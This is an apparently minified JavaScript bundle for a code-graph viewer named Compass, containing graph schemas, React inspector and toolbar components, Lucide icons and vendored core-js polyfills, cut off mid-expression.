DD=G("ZodCustom",(n,e)=>{ex.init(n,e),Ct.init(n,e),n._zod.processJSONSchema=(t,i,C)=>nN(n,t)});function zD(n,e={}){return Hx(DD,n,e)}function RD(n,e){return Kx(n,e)}const MD="compass.viewer.graph/1",ip=pi({file:ut(),startLine:Tg().int().positive().optional(),endLine:Tg().int().positive().optional(),startByte:Tg().int().nonnegative().optional(),endByte:Tg().int().nonnegative().optional()}).passthrough(),_D=pi({field:ut().min(1),before:Pn().optional(),after:Pn().optional()}),np=pi({before:qf(ut(),Pn()).optional(),after:qf(ut(),Pn()).optional(),fields:NA(_D)}),kD=pi({id:ut().min(1),label:ut(),kind:ut().optional(),community:Tg().int(),communityName:ut().optional(),degree:Tg().int().nonnegative().optional(),language:ut().optional(),signature:ut().optional(),size:Tg().positive().optional(),memberCount:Tg().int().nonnegative().optional(),learningStatus:ut().optional(),learningStale:gl().optional(),change:is(["added","removed","changed","unchanged"]).optional(),evidence:np.optional(),source:ip.optional(),color:pi({background:ut(),border:ut()}).passthrough().optional()}).passthrough(),ZD=pi({id:ut().min(1),source:ut().min(1),target:ut().min(1),relation:ut(),change:is(["added","removed","changed","unchanged"]).optional(),evidence:np.optional(),confidence:is(["extracted","inferred","ambiguous","aggregated"]).optional()}).passthrough(),BD=pi({id:Tg().int(),label:ut(),color:ut(),hidden:gl().default(!1)}).passthrough(),PD=pi({schema:uD(MD),title:ut(),stats:pi({nodes:Tg().int().nonnegative(),edges:Tg().int().nonnegative(),communities:Tg().int().nonnegative(),aggregated:gl()}).passthrough(),nodes:NA(kD),edges:NA(ZD),communities:NA(BD),hyperedges:NA(Pn()).default([])}).passthrough();const jD=n=>n.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),LD=n=>n.replace(/^([A-Z])|[\s-_]+(\w)/g,(e,t,i)=>i?i.toUpperCase():t.toLowerCase()),Ap=n=>{const e=LD(n);return e.charAt(0).toUpperCase()+e.slice(1)},Cp=(...n)=>n.filter((e,t,i)=>!!e&&e.trim()!==""&&i.indexOf(e)===t).join(" ").trim(),GD=n=>{for(const e in n)if(e.startsWith("aria-")||e==="role"||e==="title")return!0};var FD={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};const VD=oe.forwardRef(({color:n="currentColor",size:e=24,strokeWidth:t=2,absoluteStrokeWidth:i,className:C="",children:o,iconNode:s,...a},l)=>oe.createElement("svg",{ref:l,...FD,width:e,height:e,stroke:n,strokeWidth:i?Number(t)*24/Number(e):t,className:Cp("lucide",C),...!o&&!GD(a)&&{"aria-hidden":"true"},...a},[...s.map(([u,h])=>oe.createElement(u,h)),...Array.isArray(o)?o:[o]]));const Fg=(n,e)=>{const t=oe.forwardRef(({className:i,...C},o)=>oe.createElement(VD,{ref:o,iconNode:e,className:Cp(`lucide-${jD(Ap(n))}`,`lucide-${n}`,i),...C}));return t.displayName=Ap(n),t};const YD=Fg("arrow-left",[["path",{d:"m12 19-7-7 7-7",key:"1l729n"}],["path",{d:"M19 12H5",key:"x3x0zl"}]]);const UD=Fg("compass",[["path",{d:"m16.24 7.76-1.804 5.411a2 2 0 0 1-1.265 1.265L7.76 16.24l1.804-5.411a2 2 0 0 1 1.265-1.265z",key:"9ktpf1"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]]);const nl=Fg("external-link",[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"M10 14 21 3",key:"gplh6r"}],["path",{d:"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6",key:"a6xqqp"}]]);const HD=Fg("maximize-2",[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"m21 3-7 7",key:"1l2asr"}],["path",{d:"m3 21 7-7",key:"tjx5ai"}],["path",{d:"M9 21H3v-6",key:"wtvkvv"}]]);const KD=Fg("panel-right-close",[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}],["path",{d:"M15 3v18",key:"14nvp0"}],["path",{d:"m8 9 3 3-3 3",key:"12hl5m"}]]);const QD=Fg("panel-right-open",[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}],["path",{d:"M15 3v18",key:"14nvp0"}],["path",{d:"m10 15-3-3 3-3",key:"1pgupc"}]]);const XD=Fg("pause",[["rect",{x:"14",y:"3",width:"5",height:"18",rx:"1",key:"kaeet6"}],["rect",{x:"5",y:"3",width:"5",height:"18",rx:"1",key:"1wsw3u"}]]);const WD=Fg("play",[["path",{d:"M5 5a2 2 0 0 1 3.008-1.728l11.997 6.998a2 2 0 0 1 .003 3.458l-12 7A2 2 0 0 1 5 19z",key:"10ikf1"}]]);const qD=Fg("rotate-ccw",[["path",{d:"M3 12a9 9 0 1 0 9-9 9.75 9.75 0 0 0-6.74 2.74L3 8",key:"1357e3"}],["path",{d:"M3 3v5h5",key:"1xhq8a"}]]);const JD=Fg("search",[["path",{d:"m21 21-4.34-4.34",key:"14j7rj"}],["circle",{cx:"11",cy:"11",r:"8",key:"4ej97u"}]]);const $D=Fg("tags",[["path",{d:"M13.172 2a2 2 0 0 1 1.414.586l6.71 6.71a2.4 2.4 0 0 1 0 3.408l-4.592 4.592a2.4 2.4 0 0 1-3.408 0l-6.71-6.71A2 2 0 0 1 6 9.172V3a1 1 0 0 1 1-1z",key:"16rjxf"}],["path",{d:"M2 7v6.172a2 2 0 0 0 .586 1.414l6.71 6.71a2.4 2.4 0 0 0 3.191.193",key:"178nd4"}],["circle",{cx:"10.5",cy:"6.5",r:".5",fill:"currentColor",key:"12ikhr"}]]);function ez(n,e=240){const t=n===void 0?"Not recorded":typeof n=="string"?n:JSON.stringify(n,null,tz(n)?2:void 0)??String(n);return t.length<=e?{text:t,truncated:!1}:{text:`${t.slice(0,Math.max(0,e-1)).trimEnd()}…`,truncated:!0}}function tz(n){return typeof n=="object"&&n!==null&&!Array.isArray(n)}function gz({node:n,edges:e,nodes:t,sourceRevisions:i,onFocus:C,onOpenSource:o}){const s=sp(n.evidence?.before),a=sp(n.evidence?.after);return T.jsxs(T.Fragment,{children:[n.evidence?.fields.length?T.jsxs("section",{className:"compass-record-evidence","aria-labelledby":"compass-node-changes-title",children:[T.jsxs("div",{className:"compass-evidence-heading",children:[T.jsx("h3",{id:"compass-node-changes-title",children:iz(n.change)}),T.jsxs("span",{children:[n.evidence.fields.length," fields"]})]}),T.jsx(Ip,{fields:n.evidence.fields}),n.change==="changed"&&(s||a)&&T.jsxs("div",{className:"compass-evidence-source-actions",children:[s&&T.jsxs("button",{type:"button",onClick:()=>o(s,i?.before),children:[T.jsx(nl,{"aria-hidden":"true"}),"Open before"]}),a&&T.jsxs("button",{type:"button",onClick:()=>o(a,i?.after),children:[T.jsx(nl,{"aria-hidden":"true"}),"Open after"]})]})]}):null,T.jsxs("section",{className:"compass-relationship-evidence","aria-labelledby":"compass-relationships-title",children:[T.jsxs("div",{className:"compass-neighbors-heading",children:[T.jsx("span",{id:"compass-relationships-title",children:"Relationships"}),T.jsx("strong",{children:e.length})]}),e.length?T.jsx("div",{className:"compass-relationship-list",children:e.map(l=>{const u=l.source===n.id?l.target:l.source,h=t.get(u);return T.jsxs("details",{children:[T.jsxs("summary",{children:[T.jsx("span",{className:"compass-change-badge","data-change":l.change,children:rp(l.change)}),T.jsx("span",{className:"compass-relationship-target",children:h?.label??u}),T.jsx("small",{children:l.relation}),l.confidence&&T.jsx("i",{children:l.confidence})]}),T.jsxs("div",{className:"compass-relationship-detail",children:[l.change==="changed"&&l.evidence?.fields.length?T.jsx(Ip,{fields:l.evidence.fields}):T.jsxs("p",{children:[rp(l.change)," relationship: ",l.source," → ",l.target]}),T.jsxs("button",{type:"button",onClick:()=>C(u),children:["Focus ",h?.label??u]})]})]},l.id)})}):T.jsx("span",{className:"compass-empty",children:"No connected relationships"})]})]})}function Ip({fields:n}){return T.jsx("div",{className:"compass-field-table-wrap",children:T.jsxs("table",{className:"compass-field-table",children:[T.jsx("thead",{children:T.jsxs("tr",{children:[T.jsx("th",{children:"Field"}),T.jsx("th",{children:"Before"}),T.jsx("th",{children:"After"})]})}),T.jsx("tbody",{children:n.map(e=>T.jsxs("tr",{children:[T.jsx("th",{scope:"row",children:e.field}),T.jsx(op,{value:e.before}),T.jsx(op,{value:e.after})]},e.field))})]})})}function op({value:n}){const e=ez(n);return T.jsxs("td",{children:[T.jsx("code",{children:e.text}),e.truncated&&T.jsx("span",{className:"compass-value-truncated",children:"Value shortened"})]})}function sp(n){const e=ip.safeParse(n?.source);return e.success?e.data:void 0}function rp(n){return!n||n==="unchanged"?"Context":`${n[0]?.toLocaleUpperCase()}${n.slice(1)}`}function iz(n){return n==="added"?"Added symbol metadata":n==="removed"?"Removed symbol metadata":"What changed"}const ap=100,lp={changed:0,added:1,removed:2,unchanged:3};function nz({nodes:n,query:e,selectedId:t,onFocus:i}){const[C,o]=oe.useState(!1),s=e.trim().toLocaleLowerCase(),a=n.filter(u=>u.change&&u.change!=="unchanged").filter(u=>!s||u.label.toLocaleLowerCase().includes(s)||u.kind?.toLocaleLowerCase().includes(s)||u.source?.file.toLocaleLowerCase().includes(s)).sort((u,h)=>lp[u.change??"unchanged"]-lp[h.change??"unchanged"]||u.label.localeCompare(h.label)||u.id.localeCompare(h.id)),l=C?a:a.slice(0,ap);return T.jsxs("section",{className:"compass-changed-symbols","aria-labelledby":"compass-changed-symbols-title",children:[T.jsxs("div",{className:"compass-section-heading",children:[T.jsx("h2",{id:"compass-changed-symbols-title",children:"Changed symbols"}),T.jsx("span",{children:a.length})]}),l.length?T.jsx("div",{className:"compass-changed-symbol-list",children:l.map(u=>T.jsxs("button",{type:"button","aria-pressed":u.id===t,"data-change":u.change,onClick:()=>i(u.id),children:[T.jsx("span",{className:"compass-changed-symbol-status",children:Az(u.change)}),T.jsx("strong",{children:u.label}),T.jsx("small",{children:u.source?.file??u.kind??"Graph symbol"})]},u.id))}):T.jsx("p",{className:"compass-empty",children:s?"No affected symbols match this search.":"No symbol changes."}),!C&&a.length>ap&&T.jsxs("button",{className:"compass-changed-symbol-expand",type:"button",onClick:()=>o(!0),children:["Show all ",a.length.toLocaleString()," affected symbols"]})]})}function Az(n){return!n||n==="unchanged"?"Context":`${n[0]?.toLocaleUpperCase()}${n.slice(1)}`}function cp(n){const e=n.source;return e?.file.trim()&&(e.startLine!==void 0||e.endLine!==void 0||e.startByte!==void 0||e.endByte!==void 0)?e:void 0}function Cz(n){const e=n.source?.startLine,t=n.source?.endLine;if(e!==void 0)return t!==void 0&&t!==e?`${e}–${t}`:String(e)}function up(n){const e=n.source?.startLine,t=n.source?.endLine;if(e!==void 0)return t!==void 0&&t!==e?{text:`Lines ${e}–${t}`,action:`at lines ${e}–${t}`}:{text:`Line ${e}`,action:`at line ${e}`};const i=n.source?.startByte,C=n.source?.endByte;if(i!==void 0)return C!==void 0&&C!==i?{text:`Bytes ${i}–${C}`,action:`at bytes ${i}–${C}`}:{text:`Byte ${i}`,action:`at byte ${i}`}}function dp(n,e){const t=up(n);return`Open source ${e.file}${t?` ${t.action}`:""}`}function hp(n){return n==="unchanged"?"Context":n?`${n[0]?.toLocaleUpperCase()}${n.slice(1)}`:void 0}function Iz(n){if(n)return{added:"var(--vscode-gitDecoration-addedResourceForeground, #2ea043)",removed:"var(--vscode-gitDecoration-deletedResourceForeground, #f85149)",changed:"var(--vscode-gitDecoration-modifiedResourceForeground, #d29922)",unchanged:"var(--vscode-descriptionForeground, #6e7781)"}[n]}function oz({model:n,selected:e,neighbors:t,connectedEdges:i,query:C,matches:o,hiddenCommunities:s,comparisonMode:a,sourceRevisions:l,onQueryChange:u,onFocus:h,onOpenSource:p,onOpenCommunity:m,onToggleCommunity:v,onSetAllVisible:w,collapsed:N,onToggleCollapsed:x}){const[D,k]=oe.useState(0),V=e?cp(e):void 0,L=e?Cz(e):void 0,Q=e?up(e):void 0,ne=oe.useMemo(()=>{const H=new Map;for(const ee of n.nodes)H.set(ee.community,(H.get(ee.community)??0)+1);return H},[n.nodes]),J=s.size===0,le=oe.useMemo(()=>new Map(n.nodes.map(H=>[H.id,H])),[n.nodes]),ze=H=>{h(H.id),u(""),k(0)},Fe=H=>{!o.length&&H.key!=="Escape"||(H.key==="ArrowDown"?(H.preventDefault(),k((D+1)%o.length)):H.key==="ArrowUp"?(H.preventDefault(),k((D-1+o.length)%o.length)):H.key==="Enter"&&o[D]?(H.preventDefault(),ze(o[D])):H.key==="Escape"&&(u(""),k(0)))};return N?T.jsxs("aside",{className:"compass-graph-inspector compass-graph-inspector-collapsed","aria-label":"Graph inspector",children:[T.jsx("button",{className:"compass-inspector-disclosure compass-inspector-expand",type:"button","aria-label":"Expand graph inspector",title:"Expand graph inspector",onClick:x,children:T.jsx(QD,{"aria-hidden":"true"})}),T.jsx("span",{className:"compass-inspector-rail-label","aria-hidden":"true",children:"Inspector"})]}):T.jsxs("aside",{className:"compass-graph-inspector","aria-label":"Graph inspector",children:[T.jsxs("header",{className:"compass-inspector-header",children:[T.jsx("span",{className:"compass-product-mark","aria-hidden":"true",children:T.jsx(UD,{})}),T.jsxs("span",{className:"compass-inspector-title",children:[T.jsx("strong",{children:"Compass"}),T.jsx("small",{children:n.title})]}),T.jsx("button",{className:"compass-inspector-disclosure",type:"button","aria-label":"Collapse graph inspector",title:"Collapse graph inspector",onClick:x,children:T.jsx(KD,{"aria-hidden":"true"})})]}),T.jsxs("div",{className:"compass-inspector-search",role:"search",children:[T.jsx("label",{className:"sr-only",htmlFor:"compass-node-search",children:"Search graph nodes"}),T.jsxs("div",{className:"compass-search-field",children:[T.jsx(JD,{"aria-hidden":"true"}),T.jsx("input",{id:"compass-node-search",type:"search",role:"combobox",value:C,placeholder:"Search nodes and files",autoComplete:"off","aria-controls":"compass-search-results","aria-autocomplete":"list","aria-expanded":o.length>0,"aria-activedescendant":o[D]?`compass-search-result-${D}`:void 0,onChange:H=>{u(H.target.value),k(0)},onKeyDown:Fe})]}),o.length>0&&T.jsx("div",{id:"compass-search-results",className:"compass-search-results",role:"listbox","aria-label":"Matching nodes",children:o.map((H,ee)=>T.jsxs("button",{id:`compass-search-result-${ee}`,type:"button",role:"option","aria-selected":ee===D,className:"compass-search-item",onMouseEnter:()=>k(ee),onClick:()=>ze(H),children:[T.jsx("strong",{children:H.label}),T.jsx("span",{children:H.source?.file??H.kind??"Graph node"})]},H.id))})]}),T.jsxs("section",{className:"compass-info-panel","aria-labelledby":"compass-info-title",children:[T.jsxs("div",{className:"compass-section-heading",children:[T.jsx("h2",{id:"compass-info-title",children:"Inspector"}),T.jsx("span",{children:e?"Pinned":"Node details"})]}),e?T.jsxs("div",{className:"compass-info-content",children:[T.jsxs("div",{className:"compass-node-identity",children:[T.jsx("span",{className:"compass-node-swatch","aria-hidden":"true",style:{background:Iz(e.change)??e.color?.background??n.communities.find(H=>H.id===e.community)?.color}}),T.jsxs("span",{children:[T.jsx("strong",{children:e.label}),T.jsx("small",{children:e.kind??"Symbol"})]}),hp(e.change)&&T.jsx("span",{className:"compass-change-badge","data-change":e.change,children:hp(e.change)})]}),T.jsxs("dl",{className:"compass-metadata-grid",children:[T.jsxs("div",{children:[T.jsx("dt",{children:"Community"}),T.jsx("dd",{children:e.communityName??n.communities.find(H=>H.id===e.community)?.label??e.community})]}),T.jsxs("div",{children:[T.jsx("dt",{children:"Degree"}),T.jsx("dd",{children:e.degree??t.length})]}),e.language&&T.jsxs("div",{children:[T.jsx("dt",{children:"Language"}),T.jsx("dd",{children:e.language})]}),L&&T.jsxs("div",{children:[T.jsx("dt",{children:"Lines"}),T.jsx("dd",{children:L})]}),T.jsx("div",{className:"compass-metadata-wide compass-source-metadata","data-interactive":V!==void 0,children:V?T.jsxs(T.Fragment,{children:[T.jsx("dt",{className:"sr-only",children:"Source"}),T.jsx("dd",{children:T.jsxs("button",{className:"compass-source-card",type:"button","aria-label":dp(e,V),title:dp(e,V),onClick:()=>p(V,e.change==="removed"?l?.before:l?.after),children:[T.jsxs("span",{className:"compass-source-copy",children:[T.jsx("span",{className:"compass-source-eyebrow","aria-hidden":"true",children:"Source"}),T.jsx("span",{className:"compass-source-path",children:V.file}),Q&&T.jsx("span",{className:"compass-source-range",children:Q.text})]}),T.jsx(nl,{"aria-hidden":"true"})]})})]}):T.jsxs(T.Fragment,{children:[T.jsx("dt",{children:"Source"}),T.jsx("dd",{title:e.source?.file??"Not recorded",children:e.source?.file??"Not recorded"})]})})]}),e.signature&&T.jsx("code",{className:"compass-signature-block",children:e.signature}),n.stats.aggregated&&e.memberCount!==void 0&&m&&T.jsxs("button",{className:"compass-inspector-action",type:"button",onClick:()=>m(e.community),children:[a?"Inspect changes":"Open community",T.jsxs("span",{children:[e.memberCount.toLocaleString()," ",a?"current symbols":"members"]})]}),a?T.jsx(gz,{node:e,edges:i,nodes:le,sourceRevisions:l,onFocus:h,onOpenSource:p}):T.jsxs(T.Fragment,{children:[T.jsxs("div",{className:"compass-neighbors-heading",children:[T.jsx("span",{children:"Connected nodes"}),T.jsx("strong",{children:t.length})]}),T.jsx("div",{className:"compass-neighbors-list",children:t.length?t.map(H=>T.jsxs("button",{type:"button",className:"compass-neighbor-link",title:H.label,onClick:()=>h(H.id),children:[T.jsx("span",{className:"compass-neighbor-dot","aria-hidden":"true",style:{background:H.color?.background??n.communities.find(ee=>ee.id===H.community)?.color??"var(--border)"}}),T.jsx("span",{className:"compass-neighbor-label",children:H.label})]},H.id)):T.jsx("span",{className:"compass-empty",children:"No connected nodes"})})]})]}):T.jsx("p",{className:"compass-empty",children:"Select a node to inspect its relationships."})]}),a&&!n.stats.aggregated&&T.jsx(nz,{nodes:n.nodes,query:C,selectedId:e?.id,onFocus:h}),T.jsx("section",{className:"compass-community-panel","aria-labelledby":"compass-communities-title","data-secondary":a,children:a?T.jsxs("details",{children:[T.jsxs("summary",{id:"compass-communities-title",children:["Communities",T.jsx("span",{children:n.communities.length})]}),T.jsx(fp,{model:n,communityCounts:ne,hiddenCommunities:s,allVisible:J,onSetAllVisible:w,onToggleCommunity:v})]}):T.jsxs(T.Fragment,{children:[T.jsx("h2",{id:"compass-communities-title",children:"Communities"}),T.jsx(fp,{model:n,communityCounts:ne,hiddenCommunities:s,allVisible:J,onSetAllVisible:w,onToggleCommunity:v})]})}),T.jsxs("footer",{className:"compass-graph-stats",children:[n.stats.nodes.toLocaleString()," nodes · ",n.stats.edges.toLocaleString()," edges ·"," ",n.stats.communities.toLocaleString()," communities"]})]})}function fp({model:n,communityCounts:e,hiddenCommunities:t,allVisible:i,onSetAllVisible:C,onToggleCommunity:o}){return T.jsxs("div",{className:"compass-community-controls",children:[T.jsxs("label",{className:"compass-community-control",children:[T.jsx("input",{type:"checkbox",checked:i,onChange:s=>C(s.target.checked)}),T.jsx("span",{children:"Select all"})]}),T.jsx("div",{className:"compass-community-list",children:n.communities.map(s=>{const a=!t.has(s.id);return T.jsxs("label",{className:"compass-community-item","data-hidden":!a,children:[T.jsx("input",{type:"checkbox",checked:a,onChange:()=>o(s.id)}),T.jsx("span",{className:"compass-community-dot","aria-hidden":"true",style:{background:s.color}}),T.jsx("span",{className:"compass-community-label",children:s.label}),T.jsx("small",{children:e.get(s.id)??0})]},s.id)})})]})}function sz({status:n,physicsRunning:e,forceLabels:t,onTogglePhysics:i,onFit:C,onReset:o,onToggleLabels:s,onBack:a}){return T.jsxs("div",{className:"compass-graph-toolbar compass-glass-panel",role:"toolbar","aria-label":"Graph controls",children:[T.jsxs("div",{className:"compass-viewer-status","data-state":e?"running":"paused",role:"status","aria-live":"polite",children:[T.jsx("span",{className:"compass-viewer-status-dot","aria-hidden":"true"}),T.jsx("span",{className:"compass-viewer-status-text",children:n})]}),T.jsxs("div",{className:"compass-toolbar-actions",children:[a&&T.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":"Back to community overview",onClick:a,children:[T.jsx(YD,{}),T.jsx("span",{children:"Overview"})]}),T.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":e?"Pause layout":"Resume layout","aria-pressed":e,onClick:i,children:[e?T.jsx(XD,{}):T.jsx(WD,{}),T.jsx("span",{children:e?"Pause layout":"Resume layout"})]}),T.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":"Fit graph in view",onClick:C,children:[T.jsx(HD,{}),T.jsx("span",{children:"Fit graph"})]}),T.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":"Reset graph view",onClick:o,children:[T.jsx(qD,{}),T.jsx("span",{children:"Reset view"})]}),T.jsxs("button",{className:"compass-tool-button",type:"button","aria-label":t?"Hide labels":"Show labels","aria-pressed":t,onClick:s,children:[T.jsx($D,{}),T.jsx("span",{children:t?"Hide labels":"Show labels"})]})]})]})}const pp=280,mp=560,vp=24,Al={width:340,collapsed:!1};function qC(n){return Number.isFinite(n)?Math.min(mp,Math.max(pp,Math.round(n))):Al.width}function yp(n){return{width:qC(n?.width??Al.width),collapsed:n?.collapsed??Al.collapsed}}function rz(n,e){return qC(n-e)}function az(n,e){return qC(e==="ArrowLeft"?n+vp:e==="ArrowRight"?n-vp:n)}function lz({width:n,onResize:e}){const t=oe.useRef(!1),i=C=>{t.current=!1,C.currentTarget.hasPointerCapture(C.pointerId)&&C.currentTarget.releasePointerCapture(C.pointerId)};return T.jsx("div",{className:"compass-inspector-resizer",role:"separator","aria-label":"Resize graph inspector","aria-orientation":"vertical","aria-valuemin":pp,"aria-valuemax":mp,"aria-valuenow":n,tabIndex:0,onPointerDown:C=>{t.current=!0,C.currentTarget.setPointerCapture(C.pointerId)},onPointerMove:C=>{if(!t.current)return;const o=C.currentTarget.parentElement;o&&e(rz(o.getBoundingClientRect().right,C.clientX))},onPointerUp:i,onPointerCancel:i,onKeyDown:C=>{C.key!=="ArrowLeft"&&C.key!=="ArrowRight"||(C.preventDefault(),e(az(n,C.key)))},children:T.jsx("span",{"aria-hidden":"true"})})}function cz(n,e,t){if(t===void 0&&n.stats.aggregated&&e.memberCount!==void 0)return{type:"community",communityId:e.community};const i=cp(e);return i?{type:"source",source:i}:{type:"none"}}function uz(n){const e=n.source?.startLine,t=n.source?.endLine;if(e!==void 0)return t!==void 0&&t!==e?`${e}–${t}`:String(e)}function dz({node:n,hover:e}){const t={"--compass-hover-x":`${e.x+18}px`,"--compass-hover-y":`${e.y-42}px`},i=uz(n);return T.jsxs("div",{className:"compass-node-hover-card",role:"tooltip",style:t,children:[T.jsxs("div",{className:"compass-hover-heading",children:[T.jsx("strong",{children:n.label}),T.jsx("span",{children:(n.kind??"symbol").toLocaleUpperCase()})]}),n.change&&T.jsx("span",{className:"compass-change-badge","data-change":n.change,children:n.change==="unchanged"?"Context":`${n.change[0]?.toLocaleUpperCase()}${n.change.slice(1)}`}),n.memberCount!==void 0?T.jsxs(T.Fragment,{children:[T.jsxs("p",{children:[n.memberCount.toLocaleString()," symbols"]}),n.change&&n.change!=="unchanged"&&T.jsx("p",{className:"compass-hover-hint",children:"Select to inspect exact changes"})]}):T.jsxs(T.Fragment,{children:[n.language&&T.jsxs("p",{children:["Language: ",n.language]}),n.source?.file&&T.jsx("p",{className:"compass-hover-source",children:n.source.file}),i&&T.jsxs("p",{children:["Lines: ",i]}),n.signature&&T.jsx("code",{children:n.signature})]})]})}var Cl=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function re(n){return n&&n.__esModule&&Object.prototype.hasOwnProperty.call(n,"default")?n.default:n}var ns=function(n){return n&&n.Math===Math&&n},ot=ns(typeof globalThis=="object"&&globalThis)||ns(typeof window=="object"&&window)||ns(typeof self=="object"&&self)||ns(typeof Cl=="object"&&Cl)||(function(){return this})()||Cl||Function("return this")(),Ze=function(n){try{return!!n()}catch{return!0}},hz=Ze,JC=!hz(function(){var n=(function(){}).bind();return typeof n!="function"||n.hasOwnProperty("prototype")}),fz=JC,bp=Function.prototype,wp=bp.apply,Ep=bp.call,As=typeof Reflect=="object"&&Reflect.apply||(fz?Ep.bind(wp):function(){return Ep.apply(wp,arguments)}),Tp=JC,Sp=Function.prototype,Il=Sp.call,pz=Tp&&Sp.bind.bind(Il,Il),Be=Tp?pz:function(n){return function(){return Il.apply(n,arguments)}},Op=Be,mz=Op({}.toString),vz=Op("".slice),mi=function(n){return vz(mz(n),8,-1)},yz=mi,bz=Be,ol=function(n){if(yz(n)==="Function")return bz(n)},sl=typeof document=="object"&&document.all,wz=typeof sl>"u"&&sl!==void 0,xp={all:sl,IS_HTMLDDA:wz},Np=xp,Ez=Np.all,Pt=Np.IS_HTMLDDA?function(n){return typeof n=="function"||n===Ez}:function(n){return typeof n=="function"},$C={},Tz=Ze,zt=!Tz(function(){return Object.defineProperty({},1,{get:function(){return 7}})[1]!==7}),Sz=JC,Cs=Function.prototype.call,Vg=Sz?Cs.bind(Cs):function(){return Cs.apply(Cs,arguments)},eI={},Dp={}.propertyIsEnumerable,zp=Object.getOwnPropertyDescriptor,Oz=zp&&!Dp.call({1:2},1);eI.f=Oz?function(e){var t=zp(this,e);return!!t&&t.enumerable}:Dp;var tI=function(n,e){return{enumerable:!(n&1),configurable:!(n&2),writable:!(n&4),value:e}},xz=Be,Nz=Ze,Dz=mi,rl=Object,zz=xz("".split),Is=Nz(function(){return!rl("z").propertyIsEnumerable(0)})?function(n){return Dz(n)==="String"?zz(n,""):rl(n)}:rl,DA=function(n){return n==null},Rz=DA,Mz=TypeError,gI=function(n){if(Rz(n))throw new Mz("Can't call method on "+n);return n},_z=Is,kz=gI,Yg=function(n){return _z(kz(n))},Rp=Pt,Mp=xp,Zz=Mp.all,Kt=Mp.IS_HTMLDDA?function(n){return typeof n=="object"?n!==null:Rp(n)||n===Zz}:function(n){return typeof n=="object"?n!==null:Rp(n)},Le={},al=Le,ll=ot,Bz=Pt,_p=function(n){return Bz(n)?n:void 0},Ug=function(n,e){return arguments.length<2?_p(al[n])||_p(ll[n]):al[n]&&al[n][e]||ll[n]&&ll[n][e]},Pz=Be,st=Pz({}.isPrototypeOf),iI=typeof navigator<"u"&&String(navigator.userAgent)||"",kp=ot,cl=iI,Zp=kp.process,Bp=kp.Deno,Pp=Zp&&Zp.versions||Bp&&Bp.version,jp=Pp&&Pp.v8,Hg,os;jp&&(Hg=jp.split("."),os=Hg[0]>0&&Hg[0]<4?1:+(Hg[0]+Hg[1])),!os&&cl&&(Hg=cl.match(/Edge\/(\d+)/),(!Hg||Hg[1]>=74)&&(Hg=cl.match(/Chrome\/(\d+)/),Hg&&(os=+Hg[1])));var nI=os,Lp=nI,jz=Ze,Lz=ot,Gz=Lz.String,zA=!!Object.getOwnPropertySymbols&&!jz(function(){var n=Symbol("symbol detection");return!Gz(n)||!(Object(n)instanceof Symbol)||!Symbol.sham&&Lp&&Lp<41}),Fz=zA,Gp=Fz&&!Symbol.sham&&typeof Symbol.iterator=="symbol",Vz=Ug,Yz=Pt,Uz=st,Hz=Gp,Kz=Object,AI=Hz?function(n){return typeof n=="symbol"}:function(n){var e=Vz("Symbol");return Yz(e)&&Uz(e.prototype,Kz(n))},Qz=String,CI=function(n){try{return Qz(n)}catch{return"Object"}},Xz=Pt,Wz=CI,qz=TypeError,jn=function(n){if(Xz(n))return n;throw new qz(Wz(n)+" is not a function")},Jz=jn,$z=DA,ul=function(n,e){var t=n[e];return $z(t)?void 0:Jz(t)},dl=Vg,hl=Pt,fl=Kt,eR=TypeError,tR=function(n,e){var t,i;if(e==="string"&&hl(t=n.toString)&&!fl(i=dl(t,n))||hl(t=n.valueOf)&&!fl(i=dl(t,n))||e!=="string"&&hl(t=n.toString)&&!fl(i=dl(t,n)))return i;throw new eR("Can't convert object to primitive value")},Fp={exports:{}},Vp=ot,gR=Object.defineProperty,iR=function(n,e){try{gR(Vp,n,{value:e,configurable:!0,writable:!0})}catch{Vp[n]=e}return e},nR=ot,AR=iR,Yp="__core-js_shared__",CR=nR[Yp]||AR(Yp,{}),pl=CR,Up=pl;(Fp.exports=function(n,e){return Up[n]||(Up[n]=e!==void 0?e:{})})("versions",[]).push({version:"3.33.0",mode:"pure",copyright:"© 2014-2023 Denis Pushkarev (zloirock.ru)",license:"https://github.com/zloirock/core-js/blob/v3.33.0/LICENSE",source:"https://github.com/zloirock/core-js"});var RA=Fp.exports,IR=gI,oR=Object,lg=function(n){return oR(IR(n))},sR=Be,rR=lg,aR=sR({}.hasOwnProperty),Rt=Object.hasOwn||function(e,t){return aR(rR(e),t)},lR=Be,cR=0,uR=Math.random(),dR=lR(1 .toString),ss=function(n){return"Symbol("+(n===void 0?"":n)+")_"+dR(++cR+uR,36)},hR=ot,fR=RA,Hp=Rt,pR=ss,mR=zA,vR=Gp,MA=hR.Symbol,ml=fR("wks"),yR=vR?MA.for||MA:MA&&MA.withoutSetter||pR,dt=function(n){return Hp(ml,n)||(ml[n]=mR&&Hp(MA,n)?MA[n]:yR("Symbol."+n)),ml[n]},bR=Vg,Kp=Kt,Qp=AI,wR=ul,ER=tR,TR=dt,SR=TypeError,OR=TR("toPrimitive"),xR=function(n,e){if(!Kp(n)||Qp(n))return n;var t=wR(n,OR),i;if(t){if(e===void 0&&(e="default"),i=bR(t,n,e),!Kp(i)||Qp(i))return i;throw new SR("Can't convert object to primitive value")}return e===void 0&&(e="number"),ER(n,e)},NR=xR,DR=AI,rs=function(n){var e=NR(n,"string");return DR(e)?e:e+""},zR=ot,Xp=Kt,vl=zR.document,RR=Xp(vl)&&Xp(vl.createElement),Wp=function(n){return RR?vl.createElement(n):{}},MR=zt,_R=Ze,kR=Wp,qp=!MR&&!_R(function(){return Object.defineProperty(kR("div"),"a",{get:function(){return 